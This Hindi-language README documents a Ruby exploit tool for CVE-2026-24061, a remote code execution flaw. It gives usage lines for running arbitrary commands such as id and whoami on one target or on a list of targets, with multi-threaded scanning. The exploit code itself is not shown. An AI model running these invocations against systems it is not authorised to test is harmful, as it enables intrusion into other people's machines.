z3n70/cve-2026-24061Ruby-आधारित एक्सप्लॉइट CVE-2026-24061 के लिए जो दूरस्थ लक्ष्यों पर मनमाने कमांड निष्पादित करता है, पेनेट्रेशन टेस्टिंग के लिए मल्टी-थ्रेडेड स्कैनिंग और कमांड इंजेक्शन का समर्थन करता है।
CVE-2026-24061 एक गंभीर रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है जो कुछ नेटवर्क सेवाओं में पाई गई है। यह एक्सप्लॉइट एक लक्षित होस्ट पर मनमाना कमांड निष्पादित करने के लिए इस भेद्यता का लाभ उठाता है।
एकल लक्ष्य पर एक्सप्लॉइट चलाएँ:
ruby CVE-2026-24061.rb -t 192.168.1.10
निष्पादित करने के लिए एक कस्टम कमांड सेट करें:
ruby CVE-2026-24061.rb -t 192.168.1.10 --cmd "id"
एक फ़ाइल से कई लक्ष्य स्कैन करें:
ruby CVE-2026-24061.rb -l targets.txt --cmd "id" --threads 10
समानांतर थ्रेड्स की संख्या नियंत्रित करें:
ruby CVE-2026-24061.rb -l targets.txt --threads 20
| विकल्प | विवरण |
|---|---|
-t, --target <IP> | एकल लक्ष्य IP पता |
-l, --list <FILE> | लक्ष्य IP पतों वाली फ़ाइल (प्रति पंक्ति एक) |
--cmd <COMMAND> | निष्पादित करने के लिए कमांड (डिफ़ॉल्ट: id) |
--threads <N> | समानांतर थ्रेड्स की संख्या (डिफ़ॉल्ट: 5) |
-h, --help | सहायता संदेश दिखाएँ |
ruby CVE-2026-24061.rb -t 192.168.1.10 --cmd "whoami"
ruby CVE-2026-24061.rb -l targets.txt --cmd "id" --threads 10
ruby CVE-2026-24061.rb -t 192.168.1.10 --cmd "uname -a"
इस टूल का उपयोग केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए करें। अनधिकृत उपयोग अवैध हो सकता है। लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है।
यह परियोजना MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है।